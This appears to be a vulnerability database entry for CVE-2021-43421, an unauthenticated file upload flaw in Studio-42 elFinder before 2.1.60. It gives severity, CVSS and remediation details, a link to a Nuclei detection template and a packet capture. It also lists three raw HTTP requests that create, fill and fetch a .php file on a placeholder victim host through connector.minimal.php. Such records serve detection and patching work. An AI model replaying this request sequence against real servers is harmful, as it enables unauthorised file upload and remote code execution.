| Title | Studio-42 elFinder <2.1.60 - Arbitrary File Upload |
|---|---|
| Author | akincibor |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to upload malicious files to the server and execute arbitrary code. |
| Remediation | Upgrade to the latest version of Studio-42 elFinder plugin (2.1.60 or higher) to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.7657 |
| CVE ID | CVE-2021-43421 |
| CWE ID | CWE-434 |
| Tags | cve cve2021 elfinder fileupload rce intrusive std42 vuln |
Studio-42 elFinder 2.0.4 to 2.1.59 is vulnerable to unauthenticated file upload via connector.minimal.php which could allow a remote user to upload arbitrary files and execute PHP code.
GET /elFinder/php/connector.minimal.php?cmd=mkfile&target=l1_Lw&name=38FOBfGznuKWexyjGsQwfTsBcJn.php:aaa HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.16
Connection: close
Accept: */*
Accept-Encoding: gzip
GET /elFinder/php/connector.minimal.php?cmd=put&target=eFWw7w&content=38FOBZnuxYPOsVQegLVr0HzdPeM HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Connection: close
Accept-Encoding: gzip
GET /elfinder/files/38FOBfGznuKWexyjGsQwfTsBcJn.php%3Aaaa?_t HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/3.6.5
Connection: close
Accept: */*
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-43421.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-43421.pcap
N/AN/A